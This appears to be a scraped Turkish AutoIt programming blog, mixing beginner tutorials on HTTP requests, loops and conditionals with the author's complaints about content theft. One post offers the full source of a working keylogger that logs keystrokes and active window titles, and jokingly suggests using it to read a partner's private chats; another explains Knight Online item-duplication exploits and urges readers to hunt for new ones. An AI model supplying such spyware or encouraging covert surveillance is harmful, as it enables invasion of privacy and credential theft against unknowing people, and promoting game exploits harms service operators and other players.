Teknoloji ve Konsol Ağırlıklı Güncel Yazılara Ulaşın!

teknozort.com

İnternet üzerinde bildiğiniz gibi binlerce teknoloji konulu site var. Bunların bazıları üretilen teknolojileri tanıtırken bazıları da bunlar üzerine incelemeler ve araştırmalar yapıyorlar. İnternet üzerinde yapabileceklerimiz çok fazla. Bu konuda ihtiyaç duyacağınız İnternet ipuçlarını güncel yazılardan alabilmek için ziyaret edebileceğiniz teknoloji sitesi www.teknozort.com.

Ayrıca Playstation konsolu hakkında güncelleme ve onarıma yönelik, geliştirme konulu yazıların yanı sıra, sinema ve müzik dünyasından ilginç başlıkları da burada bulabilirsiniz.

Yeni çıkan oyunlara dair inceleme ve bilgiler, bilim hakkında ilginç yazılar ve dahası teknoloji blogu teknozort.com üzerinde sizleri bekliyor.

Konsol konusuna tekrar gelirsek; PS3 nasıl kırılır merak mı ediyorsunuz? veya PS4 ne zaman kırılacak ilk öğrenenlerden mi olmak istersiniz? O halde burayı takip etmeyi ihmal etmeyin! Sitede yer alan ilginç konulardan bazılarına değinirsek, Playstation'a özel çıkmış oyunlar, YLOD hatası çözümü ve konsol onarımı, bunun yanında logo yapımı ve internet üzerinden dosya dönüştürme gibi ilginç başlıklar sizleri bekliyor.

Teknoloji konusunda merak ettiğiniz her şeyi ve bilmediklerinizi de öğrenmek için gerçekten ilginç bir kaynak olduğunu belirtmemiz gerekiyor Teknozort adlı sitenin.

Kategoriler; tasarım, internet ipuçları, teknoloji haberleri, uygulamalar ve programlama, sinema ve diziler ayrıca da oyunlar olarak yer alıyor. Bunların içerisinde ilginç bir anlatım tarzına sahip binlerce konu mevcut! Örneğin "Stephen King'in yazdığı tüm kitaplar" veya "Aynı günü tekrar eden 15 film" gibi başlıklar ilginizi mutlaka çekecektir!

Programlama ile mi ilgileniyorsunuz? O halde sitede yer alan php derslerine de göz atmayı unutmayın. Başlangıç seviyesinde php dersleri ile php kodlamaya hemen giriş yapabilir, öğrenme aşamasına kolayca geçebilirsiniz.

Sizlere şimdiden keyifli ziyaretler dileriz ve beğendiğiniz konulara teknolojik yorumlar yapmayı ihmal etmeyin sakın!

Autoit Adına Son Söz

Merhaba arkadaşlar, son zamanlarda gördüğünüz üzere blogda bir kaç alakasız konu, site tanıtımı vesair postlar göndermiştim. Uzun bir süre düşündükten sonra verdiğim bir kararı sizlere açıklamak için auto it ile ilgili son bir post atayım dedim.

Geçen onca yıldan sonra, hiç aklıma gelmezdi ancak bu blogdan öyle bir soğudum ki anlatamam. O postlarda bu blogu bundan sonra hiç bir şekilde kullanmayacağım veya en azından farklı bir şeyler için kullanacağımın ilk işaretleriydi. Artık autoit konusunda özgün bilgi paylaşımı, maillere cevap, yardımlaşma vs. yok.

Neden diye soracaksınız...

Heves bırakmadılar. Daha doğrusu burada paylaştığım şeyler, insanlara gösterdiğim örnekler, yardımcı olma çabam beş kuruş etmiyor :) Dahada detaya inersek, insanlar çalıyor...

Google'da autoit script diye arattığımda gördüğüm tüm Türkçe siteler benim makalelerimi kullanıyor neredeyse %90 sitede benim makalelerim var. Özgün bilgi buradayken, o adamların siteleri en üstlerde çıkıyor. Google maalesef bu sorunu çözebilmiş değil hala. Benden çalanlar, benden yukarıda çıkıyor ve bu beni çok üzüyor.

En çok canımı sıkan da, bu copy&paste cilerin hiç biri kaynak vermemiş. Bir tanesi bile.. En azından tek bir tanesinde şu siteden alıntıdır diye görsem bu kadar koymayacak.

İnsanımız maalesef emeğe bu kadar değer veriyor. Maalesef hoşgörülü ve yardımseverlerin değeri hiç bilinmiyor. Hiç bir karşılık beklenmeden paylaşılan bilgi, yapılan yardım bu şekilde suistimal edilmemeli.

Bu blogu açalı 6-7 sene belkide daha fazla zaman oldu. İlk zamanlarda her şey çok güzeldi, paylaştık, öğrendik, bilenler bilmeyenlere anlattı, bir şeyler öğrenenler teşekkür etti, öğretenler rica. Yani her şey çok güzeldi aslında. Ama hayat işte, yaş ilerledikçe herkesin senin kadar iyi niyetli olmadığını anlıyorsun. Paylaştığın onca bilginin bir gün senin emeğin değilmiş gibi başka insanların çıkarlarına alet olacağını anlıyorsun.

Sadede gelirsek, bu postu atmamın sebebi gelen maillerdir. Hala scriptler konusunda mail atanlar, yardım isteyenler var. Autoit konusunda bundan böyle hiç bir gönderi yapmayacağımı ve gelen maillere cevap vermeyeceğimi bilmenizi isterim.

Bu eminim ki kaynak göstermeden gönderileri anında alıp yayınlayanlar için bir nebzede olsa kayıp olacaktır. Onlara teşekkür ediyorum daha fazla vakit kaybetmeden bu işi sonlandırmama yardımcı oldukları için. Bu işi yeni öğrenenlerin özgün bilgiden mahrum kalmalarına, Türkçe kaynak sıkıntısı çekmeye devam etmelerine sebep olmaları da yanlarına kar olsun.

Böyle devam ettiği sürece ülkemin insanları her konuda Türkçe kaynak sıkıntısı çekmeye devam edecek ne yazık ki. Herkese saygı & sevgiler.

Autoit HTTP Post/Get ve Dosya Indirme Fonksiyonları

Öncelikle söylemek istediğim birşey var, ara ara çeşitli konu ve isteklerle mailler alıyorum. Bu maillere şu sıralar malesef cevap veremediğim için gönderen kişilerden özür dilerim :( Yoğunluk hiç bitmiyor. Bu yüzden vakit ayırıp okuyamıyorum bile. Neden bu kadar geç post attığım konusuna gelince, içeriği çalıp kendi forum veya blogunda yayınlayan, özellikle 2-3 kelime değiştirip google ı dahi kandırmaya çalışan sevgili arkadaşlar bilir diyelim :) 12milyon ranklı tertemiz bir blogdan içerik çalan çöp sitenin 80k ranklarda olmasıda ayrı tabiki. Bunları yazıyorum diye çalıp çırpmayı kesiceklermi? Tabi kesmiycekler, neyse önemli değil uzatmayalım konuya geçelim.

Autoit HTTP Post u anlatalım.
HTTP Post veya Get nedir bilmeyen veya bilende bilmeyen arkadaşlar için: Bir web sayfasına gönderdiğiniz değerler olarak açıklayabiliriz. Bunu bir form doldurup göndermek, login olmak gibi düşünün. Aslında bunun bugüne kadar: Form içinde Embed IE oluşturup sayfaya giderek ve inputları doldurup sayfayı göndererek yapıyordum. Bu işlem anlatımındada olduğu gibi gayet uzun süren bir işlem :P Sayfaya gitmek, yüklenmesini beklemek, sonra ,inputları id den alıp doldurmak ve gönder tuşuna basmak, sonra sayfanın yine yüklenmesini beklemek :P Çok uzun, çok. :P

HTTP Post komutları burada bize tek bir seferde duruma göre çok kısa süren bir işlemle bu işi yapmamıza yardımcı oluyor. Buna Paket gönderme deniyor. Paket TCP ile gidiyor.

Bize lazım olan lib: WinHTTP.au3

Basit bir Login örneği ile devam edelim:
Giriş yapmak istediğimiz sayfa www.test.com/login.php olsun.
Bu sayfada bir form içinde:
input type='text' name='username'
input type='password' name='pass'
olmak üzere 2 tane input var bunların birine e-postamızı birine şifremizi yazıyoruz görüldüğü üzere :P

Bunu WinHTTP komutlarıyla yapmak için oluşturduğum fonksiyon:

Func _SendPacket($sURL, $sSAYFA, $sDATA, $sREF, $sMETHOD = 'POST', $sSESSION = '')
Local $hOpen = _WinHttpOpen()
Local $hConnect = _WinHttpConnect($hOpen, $sURL)
Local $hRequest = _WinHttpOpenRequest($hConnect, _
$sMETHOD, _ ; metod, post veya get, bu formun türüne göre değişiyor
$sSAYFA, _ ; hedef sayfa /login.php?yap=login gibi, formun action sayfasına denk geliyor
Default, _ ; version
$sREF, _ ; referans url, formu gönderenin kimliğini belirliyor, aynı sayfa olması önemli.
"text/*") ; formun kabul ettiği tür, text,html,xml vesair.
_WinHttpSendRequest($hRequest, "Content-Type: application/x-www-form-urlencoded", $sData)
$resp = _WinHttpReceiveResponse($hRequest)
; Bakalım dönüş datası varmı. :)
Local $sChunk, $dat
If _WinHttpQueryDataAvailable($hRequest) Then
; Read
While 1
$sChunk = _WinHttpReadData($hRequest)
If @error Then ExitLoop
$dat &= $sChunk
WEnd
Else
Return FALSE
EndIf

_WinHttpCloseHandle($hRequest)
_WinHttpCloseHandle($hConnect)
_WinHttpCloseHandle($hOpen)

if($dat="") Then
Return FALSE
Else
Return $dat
EndIf
EndFunc

Bu fonksiyonu winhttp yi include ederek direk kullanabilirsiniz. $dat sayfadan dönen cevaptır.
Nasıl kullanacağımıza gelirsek, burada önemli olan nokta: $sDATA dır. Formdaki inputların değerlerini burada kullanacağız.
name='' deki değerlerimiz kullanıcı adı için : username şifre için: pass dı.
o halde: $data = "username=test&pass=12341234" olacak.

$login = _SendPacket("www.test.com", "/login.php", $data, "www.test.com/login.php", 'POST', '')
if $login <> FALSE then
msgbox(0, 'Sayfanın verdiği cevap', $login)
endif

Burda unutmamamız gereken cookie kontrol etmek ve eğer değişik karakterler kullanıyorsak göndermeden önce encode tarzı şeyler yapmak :P O kadar detaya inmedim, gerekirse yorumlarda haberleşiriz. Son olarak $sSESSION a gelirsek, bunu sayfa ile birlikte kullanım cache işlemlerine karşı önlem alabiliriz. $sSESSION = rasgele bir sayı değeri. $sSAYFA = "/login.php?session="&$sSESSION
Böylece cache ile aynı sayfayı 2 kere yükletmeyen site, herseferinde bizim için sayfayı yüklemek zorunda kalır :P

Dosya İndirme işlemine Gelirsek:
Autoit ile dosya indirmenin birçok yolu var.
TCP, InetGet, _InetGetSource, InetRead.

İndirdiğiniz dosyanın türünü biliyorsanız: _InetGetSource gayet esnekdir.
Verdiğiniz hedef dosyanın kaynak kodunu bir değişkene alır ve sizde bunu bildiğiniz uzantıyla bir dosyaya yazdırırsınız.

TCP ile TCPSend ve TCPRecv komutları ile tıpkı lan üzerinden dosya gönderip alır gibi dosya downloadı yapabilirsiniz. Hızlı ve güvenli bir yoldur. Sistem kaynaklarını doldurup pc yi yavaşlatmadan dosyayı indirir. Flashget, FDM, idman çoğu bu şekilde download yapıyor.

InetGet, direkt olarak dosyayı verdiğiniz konuma indirir :P

InetRead, _inetGetSource ile aynı sayılır, bu fonksiyonda verilen hedefdeki kaynağı okuyup bir değişkene atamakta kullanılabilir.

Değişkene atadığımız fonksiyonlar büyük downloadlar ile hiç sağlıklı değildir. Açıklamak gerekirse, yaptığımız ufak bir download yazılımı, sistemin raminden 3mb kullanan bir download yazılımı, 1gb bir dosyayı inetRead ile veya inetGetSource ile almaya çalışırsak, download bitiminde 1GB ram kullanır pozisyona gelir. Bunun yerine TCP ile okuduğumuz kadarını değişkende tutmadan direk dosyaya yazdırmak en iyi yoldur.

Autoit ile dosya indirme nin detayını önümüzdeki günlerde yeni bir makale ile yazmayı düşünüyorum, bu makale çok uzadı. Görüşmek üzere, aklınıza takılan bir soru varsa yorumlayabilirsiniz, birlikte cevaplamaya çalışırız.

Auto-it yardım & Soru-Cevap v2

Önceki konumuz: Auto-it soru-cevap bölümü
Soru-cevap v1' sonraki yorumlar için google ambargosuna takıldığından buradan devam =)
Auto-it hakkında her türlü soru-istek-sorun vs. yazın, yardımlaşalım, cevaplayalım.

Keylogger yapımı, hazır keylogger scripti

hello :D Bugünkü proğğğğramımızda keylogger yapacağız. Ki yapılmışı var :D, o halde paylaşacağız.

Keylogger nedir? bilmeyenler için yazıyorum, basılan tuşları not alan, kaydeden birşeydir. Keylogger kullanımının amacı ciddi işler için olmalıdır, paylaştığım bu scripti alıpda bir başkasına ait şeyleri çalma teşebbüsünde bulunacak kimseler, sakın bu scripti kullanmayın. Çünkü hile ve 3 kağıtçılıkla elde ettiğiniz şeyden hayır gelmez, eninde sonunda acısı bir şekilde çıkar. Lütfen daha insancıl yöntemler için kullanın, örn: sevgilinin seni aldattığını mı düşünüyorsun ? :D bak bakalım msnde ne konuşuyor. Bu seferde gidip katil olmayasın sakın ama :P neyse ben sorumluluk almıyorum. Bu script test amaçlı yayınlanmıştır, kullanım şekli ve kullanım alanı tamamı ile kullanıcısını alakadar eder. Ben, veya autoitscript.blogspot.com blog unun sahibi hiç bir suçlama kabul etmeyecektir. Sözleşmemiz bu :D vatana millete hayırlı olsun. Knight online da bir başkasının charını soymak için kullanan ajdar gibi olsun, çaldığı itemin 10 katını kaybetsin hemde gerçek hayatta kaybetsin inş. Hadi kolay gelsin :D Upload kısmını yazan paylaşmasın, upload yazmamamın nedeni yukarıda yazdığım şey. Kötü amaçlı kullanılmasını istemediğimden. Autoit versiyonu 3.2.4.9, eski yani hata çıkarsa fonksiyon ismine bir alt çizgi eklemeniz sorunu çözer.

Scriptin adı: K-logger ALPHA.
Scriptin fonksiyonu: Basılan tuşları algılayıp, kaydetmek.
Scriptin durumu: %80 çalışır durumda.
Eksikleri: arka arkaya basılan tuşları not alamıyor, örn: 2 kere a ya basıldığında yani aa basıldığında a olarak kaydediyor, yolu bulunur size kalmış. Çok seri 50ms nin altında yapılan girdileri yakalamayabilir.
Artıları: Tuş basıldığı anda hangi program aktifse onuda yakalıyor ve not alırken saati tarihide kaydediyor.

#cs ----------------------------------------------------------------------------

AutoIt Version: 3.2.4.9
Author: 313

Script Function:
Keylogger.

#ce ----------------------------------------------------------------------------

; Script Start - Add your code below here

#include
#include

Global $dll = DllOpen("user32.dll")
Global $harf, $lastharf
Global $backspace, $enter, $del, $0, $1, $2, $3, $4, $5, $6, $7, $8, $9, $a, $b, $c, $d, $e, $f, $g, $h, $i, $j, $k, $L, $m, $n
Global $o, $p, $q, $r, $s, $t, $u, $v, $w, $x, $y, $z, $NUMPAD0, $NUMPAD1, $NUMPAD2, $NUMPAD3, $NUMPAD4, $NUMPAD5, $NUMPAD6
Global $NUMPAD7, $NUMPAD8, $NUMPAD9
Global $filename = @ScriptDir&"\log.txt", $title, $lasttime, $time, $writetime, $readfirst

While 1

Sleep(49)
keygrab()
getactivewindow()
writethem()

WEnd

Func getactivewindow()
$active = WinGetTitle("","")
$title = $active
$time = _NowTime(4)
EndFunc


Func keygrab()
if _IsPressed("08") Then $harf = "[BACKSPACE]"
if _IsPressed("0D") Then $harf = "[ENTER]"
if _IsPressed("2E") Then $harf = "[DELETE]"
if _IsPressed("09") Then $harf = "[TAB]"
if _IsPressed("20") Then $harf = "[SPACE]"
if _IsPressed("30") Then $harf = "0"
if _IsPressed("31") Then $harf = "1"
if _IsPressed("32") Then $harf = "2"
if _IsPressed("33") Then $harf = "3"
if _IsPressed("34") Then $harf = "4"
if _IsPressed("35") Then $harf = "5"
if _IsPressed("36") Then $harf = "6"
if _IsPressed("37") Then $harf = "7"
if _IsPressed("38") Then $harf = "8"
if _IsPressed("39") Then $harf = "9"
if _IsPressed("41") Then $harf = "a"
if _IsPressed("42") Then $harf = "b"
if _IsPressed("43") Then $harf = "c"
if _IsPressed("44") Then $harf = "d"
if _IsPressed("45") Then $harf = "e"
if _IsPressed("46") Then $harf = "f"
if _IsPressed("47") Then $harf = "g"
if _IsPressed("48") Then $harf = "h"
if _IsPressed("49") Then $harf = "i"
if _IsPressed("4A") Then $harf = "j"
if _IsPressed("4B") Then $harf = "k"
if _IsPressed("4C") Then $harf = "L"
if _IsPressed("4D") Then $harf = "m"
if _IsPressed("4E") Then $harf = "n"
if _IsPressed("4F") Then $harf = "o"
if _IsPressed("50") Then $harf = "p"
if _IsPressed("51") Then $harf = "q"
if _IsPressed("52") Then $harf = "r"
if _IsPressed("53") Then $harf = "s"
if _IsPressed("54") Then $harf = "t"
if _IsPressed("55") Then $harf = "u"
if _IsPressed("56") Then $harf = "v"
if _IsPressed("57") Then $harf = "w"
if _IsPressed("58") Then $harf = "x"
if _IsPressed("59") Then $harf = "y"
if _IsPressed("5A") Then $harf = "z"
if _IsPressed("60") Then $harf = "0"
if _IsPressed("61") Then $harf = "1"
if _IsPressed("62") Then $harf = "2"
if _IsPressed("63") Then $harf = "3"
if _IsPressed("64") Then $harf = "4"
if _IsPressed("65") Then $harf = "5"
if _IsPressed("66") Then $harf = "6"
if _IsPressed("67") Then $harf = "7"
if _IsPressed("68") Then $harf = "8"
if _IsPressed("69") Then $harf = "9"
EndFunc

Func writethem()

if $harf = "" Then Return
If $harf = $lastharf Then Return

$filename = @ScriptDir&"\log.txt"
if $time = $lasttime Then
$writetime = $lasttime
$readfirst = IniRead($filename,$title,$writetime,"")
Else
$writetime = $time
$readfirst = IniRead($filename,$title,$writetime,"")
EndIf
IniWrite($filename,$title,$writetime,$readfirst&$harf)

$lastharf = $harf
$lasttime = $time

EndFunc

1835 Dupe çıktı koş, kaçıran pişman

Evet arkadaşlar hoşgeldiniz, dupenin mantığı üzerine konuşalım biraz. Dupe nedir, nasıl yapılır veya dupe yapmak terimlerini teknik anlamda ele alıcaz.

Dupe: (uzun olarak duplicate) ingilizcede kopyalamak, (çoğaltarak kopyalamak) anlamına gelir. Dupe oyun dünyasında kısalmış halidir. Ağa nın aga olması gibi :D

Dupe nasıl yapılır?
Dupe yapabilmek için öncelikle bize dupelenecek bir eşya, item gerekiyor :D Neyi kopyalayacağımıza karar verdikten sonra dupe işlemine geçiyoruz. Dupe, oyunun açıklarından faydalanarak yapılan bir dalgadır. Bu açıklar server-side gerçekleştiğinde, kopyalama işlemimiz başarılı olmuş demektir. Anladığınız üzere dupeyi servera yedirmedikçe elimize hiçbir şey geçmiyor. Örnek vermek gerekirse bir ara 2 karakter sokarak dupe yaptı herkez. Nasıl oldu olayın teknik boyutuna inelim. Oyunda her karakterin 1 id si vardır. id unique yani tek dir. 1 id den 1 tane daha olamaz. Yani olmamalıdır işlerin yolunda gitmesi için. Bizim kardeşlerimiz bunu başardı :D 2 aynı id li charı oyuna soktu ve dupe yaptılar. Peki serverda koruma olmasına rağmen 2 aynı id nasıl oyuna aynı anda sokuldu? İşte düğüm burda çözülüyor. Mysql veritabanındaki bir açıktan faydalanılarak yapılan bu olayda türkçe karakterli idler (önceden bildiğiniz gibi türkçe karakterli id ler alabiliyorduk) görmezden gelindi. yani zürafa idsi ile login olan bir oyuncuyu server zyrafa şeklinde olarak gördü, ü karakterini tanımlayamadığı içinde 2. kere zürafa logini yapan oyuncuyu tekrar içeri aldı. Sonuç olarak k2 türkçe id leri kayda kapatma yoluna gitti. Aslında açıkların tamamı gameserverdan aktarılarak mysql serverda gerçekleşiyor. Yeni patch geldiğinde bilgiğiniz gibi yeni görevlerde beraberinde geliyor. 10k exp ve para bugunu kullanarak dupe dedikleri birşey yaptılar 1720 küsür patchlerde biyerde. Bu aslında dupe değildir. Yapılan şey k2 nin verdiği bir açıktan faydalanmakdır sadece. Burdaki nokta şu: k2 bir görev açıyor, biz bu görevi yapınca mysqlde yaptığımız görevler listesine ekliyor. Bu listeye eklendiğinde bir daha bu görevi göremiyoruz doğal olarak. Ancak, görevi yaptığımızda servera postalanan paket elimizdeyse işler değişiyor :D k2, görevi yaptığımızı kaydediyor ancak, paketi tekrar gönderdiğimizde görevi yapmışmıyız diye kontrol etmiyor, üstüne yazıyor. Püf nokta bu. Yani unutmuşlar :D veya hafife almışlar, görevi yapınca nasıl olsa birdaha açamayacak, nerden bulacak görevi gibi :P Programcılık karmaşık bir iş, o bakımdan her yeni patch geldiğinde bu ve bunun gibi açıkları denemek dupe bulmanın yöntemi. Eskiyi örnek almak ve yeniler üzerinde denemek sonucu verebiliyor.

Konu beklediğinizi vermemiş olabilir ama bana balık verme balık tutmayı öğret demişler :D Her dupe yapan açıklasaydı server oynanmaz hale gelirdi, arayın sizde bulun :D Gidipde başkaları gibi yaymamak lazım.

Döngüler: While, for, do until, for in

Bu aralar çok hızlıyım, makalelerin ardı arkası kesilmiyor. Geçen google da aradım (dün xD) autoit script nedir? diye tüm makaleler benim alla alla dedim ne kadar çok siteye yazmışız :d Neyse konumuz döngüler.

Döngü nedir: dönüp dolaşıp aynı yere gelmek :D
Şöyle devam edelim, dünyayı düşünün. her gün döner. dönerde döner. Ama hep aynı noktaya geri gelir. Sabah olur, akşam olur, 0 noktasından başlar 360 döner tekrar 0 a gelir. İşte döngü bu. Bir au3 scriptte: tüm döngüleri bu anlattığımız örneğe uyarlayabiliriz.

While $dunya = "donuyor"
bunu bunu yap...
Wend
For $i = 0 to $dunyanın_gunleri Step 1
bunu bunu yap.
Next
Do
bunu bunu yap.
Until $dunya <> "dönüyor"
Dediğimiz gibi dünya dönüyor, hiç birşey değişmiyor hareketinde. Ama içeriği sürekli bir değişim halinde. Aslında bu değişimi kullanabilirizde kullanmayabilirizde. Döngü sürekli aynı şeyi tekrarlamak demektir ancak, değişkenler işin içine girince herşey yapılabilir. Dediğim gibi yine dünyayı düşünün. Döner durur ama içerdeki hayat değişkendir. Her insan 1 gün daha yaşlanır, kimisi ölür, kimisi kalır.

Autoitde en çok işinize yarayacak döngü türü while dır.
Case değilde fonksiyon tabanlı bir script oluşturduğunuzda fonksiyonlara geçmeden:
While 1
.........
Wend
kısmını görürsünüz. Bu kısım, scriptin ana döngüsüdür. Bu döngü, script sonlandırılana kadar çalışacaktır. While 1 dediğimizde bu ana döngü oluyor. 1 scriptin açık bulunduğu an anlamına gelir. Script sonlandığında bildiğiniz üzere bu 0 olur ve döngü biter. İlk olarak bu döngünün içinde bir Sleep(100) görürüz. Bu scriptin açık kaldığı süre boyunca 100mili saniye aralıklarla işlem göreceği anlamına gelir. Sleep'i kaldırırsak cpu muz yorulur. Çünkü script döngüyü hiç duraklamadan aralıksız döndürür, buda daha fazla işlemci gücü demektir.

While dan örneklerle devam edelim.
Bir download scripti hazırladığımızı var sayalım. Macrolar bölümünü okuduysanız bilirsiniz, @inetgetactive download işleminin aktif olduğunu bildiren macrodur ve @inetgetbytesread o ana kadar indirilen byte miktarını döndüren macrodur.

While @inetgetactive
tooltip(@inetgetbytesread)
Wend

msgbox(download bitti)
Buradaki döngü, download işlemi bitene kadar sürecektir. Download işlemi süresince tooltipde bize indirilen miktarı gösterecektir. Ayrıca burada hatırlamamız gereken şudur: download aktif olduğu sürece script sadece o döngü içerisinde çalışacaktır. Yani istediğimiz şey wend den sonraysa download bitene kadar beklememiz gerekir :) Msgbox örneği gibi. Ancak download bittiğinde mesaj kutusu gözükecek ve download bitti diyecektir. Nedeni döngünün sonlanmış olması ve scriptin wend satırından sonraki satıra geçmesidir. For a geçmeden basit bir örnek daha verelim:
$sayalim = 0;
$saydik = 0;

While $saydik = 0
$sayalim += 1
if $sayalim = 10 then
$saydik = 1
endif
Wend
10 kadar saydık. ve döngümüz sonlandı. çünkü saydik sıfıra eşitse döngü yap dedik. sayalım değişkeni 10 olduğunda saydık değişkenini 1 yaptık ve döngü sonlandı. Bunu daha pratik olarak 1 değişkenlede yapabilirdik. $sayalım = 0 derdik ve While $sayalım < 10 derdik.

For, döngüsü basit anlamla: a kadar görevlerinde kullanılır. Yine sayalım.
For $i = 0 to 10 Step 1
tooltip($i)
Sleep(1000)
Next
Yukarıdaki örnekde tooltipde 1 den 10 kadar sayacak ve her aralıkda 1 saniye bekleyecektir. Detaya inelim biraz. Forda değişmeyen tek şey $i dir. bu $z de olabilir $c de. For kullanacaksak (bazı durumlar hariç) bir değişken tanımlamalı ve onu arttırmalıyız. (veya azaltmalıyız)

to 10 kısmı 10 a kadar demektir. 0 dan 10 kadar. Step 1 kısmı kaçar aralıklarla ilerleyeceğimizi belirtir. mesela step 2 deseydik, tooltip de 1, 2, 3, 4, yerine 2, 4, 6 sayılarını görecektik. For profesyonel anlamda çok işe yarar bir döngüdür. Array kullananlar bilirler :) For un tek dezavantajı, for döngüsüne giren bir script diğer fonksiyonlarla alakasını keser. Kestirmemenin yolları vardır tabiki. (kesmemiş gibi göstermenin) For döngüsü içinde bir scriptin dünyadan haberi olmayacaktır taki döngü bitene kadar :D script donuyormuş gibi düşünün.

Do, until: beklediğimiz birşey olana kadar şunu yap yerine kullanılır.
$say = 0
Do
$say += 1
msgbox($say)
until $say > 10
Say 10 olana kadar 1 değer atlatıp mesaj kutusu çıkarır. say 10 dan büyük olduğunda döngü sonlanır. Burada $say değişkenini 1 satır aşağıya alırsak, yani do altına, döngünün içine: döngü sonlanmayacaktır, bıraksan sonsuza kadar gider :D Nedeni basit. $say ı 1 değer arttırmamıza rağmen döngünün en başında tekrar 0 a eşitliyoruz. 1 artacak, dönüp dolaşıp başa geldiğinde tekrar 0 olacak.

Şimdi bunları basit olarak nerelerde kullanabiliriz (1er örnek):
Do until: bir kullanıcı adı şifre isteyen program düşünün. Scriptin en başına do untili koyarız, istediğimiz şifre gelene kadar satır atlamaz ve formu göstermez.

While için zaten download olayını verdik. Bunun dışında saat düşünün. Formun bi köşesine saat koyarız ve sleep(1000) ile beraber ana döngümüzde saati ayarlatırız. Script açık olduğu sürece bu devam eder.

For: Bir mp3 çalar yaptığımızı düşünelim. Bir klasördeki tüm mp3leri aldırdık ve arrayda topladık. For $i = 0 to $array_max deriz, toplam mp3 sayısına kadar bir listboxa şarkıları yazdırırız, satır satır.

Bu aşamadan sonra size hayal gücünüzü kullanmak kalıyor. Yapabileceğiniz şeylerin sınırı yok. Ufak ufak denemeler yaparak, test ederek sonucu elde edebilirsiniz. Aklınıza takılan yeri sormaktan çekinmeyin kankalar :D

If-then-else neden bu kadar seviliyor?

Bilginin orjinaline hoşgeldiniz :) Autoit Statements lere pek fazla değinmediğimi farkettim. Bu yazıda if then else, else if, endif öğrenelim biraz.

Nedir conditional statements?
Condition şart demektir. Statement ise hesap. Dolayısıyla şartlı (koşullu) hesaplar anlamına geliyor olmalı yanlışımız yoksa :D Aslında bu kısmına bakarsak işin mantığı kavramak çok kolay. Bilmiyorum, öğrenemem, nasıl öğrenicem stresini üzerinizden atın :D Şimdi 3 aşamada ele alalım.

IF bişey şöyleyse THEN => (bu satır bizim şartımız oluyor)
birşeyler yap.... => (bu 3 satırda hesaplar denilen kısım oluyor)
birşeyler yap....
birşeyler yap....
ENDIF

Şimdi kanka illa hesapmı yapcaz? yani 3+5 bilmemne xD yok o şekilde değil olay. Bu arada yapılan işlem ve if-then-endif toplamı zaten hesabın bütününü oluşturuyor.

Mesala basit bir örnekle değinelim olaya: Farzetki senin bi çocuğun var. Adı: Samet xD
Telefonla aradın bunu dedinki: "Samet dayınlara git, eğer dayın ordaysa söyle bize gelsin."

Çeviriyoruz :D

SametGo(dayımlar xD) ;sameti götüren fonksiyon :D
IF dayı = orda THEN
DayiKaldiran("Babam seni al gel dedi")
ENDIF

DayiKaldiran fonksiyonunu yazmama gerek yoktur heralde :D
Şimdi burda matematiksel bi hesapmı yaptık? yapmadık. Demekki işlemin geneline hesap deniyor, hesap denmesine ilk if then neden oluyor ortada bir matematik olmak zorunda değil :D

Şimdi bu if then olayı scriptlerde nasıl işimize yarayacak buna değinelim biraz. Belki bu güzel örneğe rağmen anlamamış olanlar vardır :D

knightOnline :D... oynamasakda en güzel örnek. Çok kısa. karakterin hp sini alıyoruz ve hp 500 ve 500den küçük ise kırmızı tüp xD (hp pot) iç diyoruz. xD

IF $hp<=500 THEN
Send($potkey)
ENDIF

İşte bu kadar basit. Burada dikkat etmek gereken bir nokta var. Dersekki: Eğer hp 500 ise pot iç olmaz :D çünkü hp küt diye gelip 500de duracak diye bi garantimiz yok. Mesela werewolf bi çakar hpmiz 530 dan 480e düşer :D kapiş. burada yapmamız gereken 500 ve 500 den küçükse şartını kullanmaktır. Eğer dersekki $hp = 500 o zaman sadece hp 500 olursa pota basar. 500 ün altına düşünce basmayacaktır. Daha basit olarak burada = yerine < kullanabiliriz aslında. niye uzatıyosam :D $hp < 500 daha makuldür kankalar :D

Onu geçtim. Bu olayı biraz daha komplexleştirelim. Şartları çoğaltmak bizim elimizde :D Burada birde else kullanıcaz, else şu durumlarda kullanılır: eğer anlamına gelir ve istediğimiz şart yerine gelmezse görevini görür.

Sıradaki şartımız şudur: "Samet xD bakkala git. bakkal ahmet ordaysa ve sakalları uzunsa bana bi winston soft al ama paketin üzerinde saçma sapan bi resim yoksa al :D Bakkal ahmet yoksa nerdeymiş bul, sonra eve gel sigarayı bana ver" xD

SametGo("bakkal") ;samet yönlendiren fonksiyonumuz yine iş başında :D
IF $bakkal_ahmet = "orda" AND $bakkal_ahmetin_sakalları = "uzun" THEN
$sigara = "WinstonSoft"
$ozellikler = NesneOzellikleri($sigara) ; sigaranın özelliklerini bir değişkende topluyoruz :D

IF $ozellikler["on_resim"] <> "saçma" THEN
satinal($sigara)
SametGo("ev") ; samet eve gider xD
Ver($sigara, "baba") ; babaya sigarasını verir xD
ELSE
SametGo("ev") ; yine eve gider ama sigarayı almadan gider;
Soyle("sigaranın üzerinde saçma bir resim vardı", "baba") ; babaya böyle söyler xD
ENDIF
ELSE
SametGo("kahve") ; samet kahveye gider xD
$cevap = Sor("bakkal ahmet nerde?", "çaycı") ; çaycıya ahmeti sorar xD
SametGo("ev") ; eve gider xD
Soyle("bakkal ahmet"&$cevap&" daymış", "baba") ; bakkal ahmetin nerde olduğunu babaya söyler.
ENDIF

Bu yukarıdaki örneği knightonline da nasıl kullanabiliriz:
IF $hp <> 0 THEN
hp 500 den küçükse ve 0 değilse pot gönder gibi..
ENDIF

Ayrıca burada OR da kullanabiliriz OR, AND e kıyasla veya anlamındadır bildiğiniz gibi. AND kullandığınız şartlı hesaplamalarda verdiğiniz şartların tümünün tutması gerekir. Yani bakkal ahmet ordaysa AND sakalları uzunsa AND bozuk parası varsa diyorsa buradaki tüm şartlar gerçekleşmeli ki hesabı yapabilelim. ANCAK burada OR kullansaydık herhangi bir şartın tutması hesabı yapmamıza yetecekti.

Örnek: ahmet ordaysa OR veli ordaysa OR mehmet ordaysa
dersek, ahmet, veli, mehmet şahıslarından herhangi birinin orda olaması işlemi yapmamıza yetecektir. Şöyle düşünün tekrar babası sameti sigara almaya gönderiyor. Ahmet, veli veya mehmet ordaysa sigarayı al yoksa alma diyor.

KnightOnline Örneği:
IF $hp = 500 OR $hp < 500 THEN
hp 500 e eşitse veya 500den küçükse hp pot iç gibi...
ENDIF

Evet görüldüğü üzere baya bi komplex oldu :D Ayrıca gördüğünüz gibi statement içinde statement kullandık. IF içinde if. Son olarak çok şartlı hesaplara bir örnek verelim. Bunu önceden hazırlanmış bir form gibi düşünün. Formun maddeleri gibi.

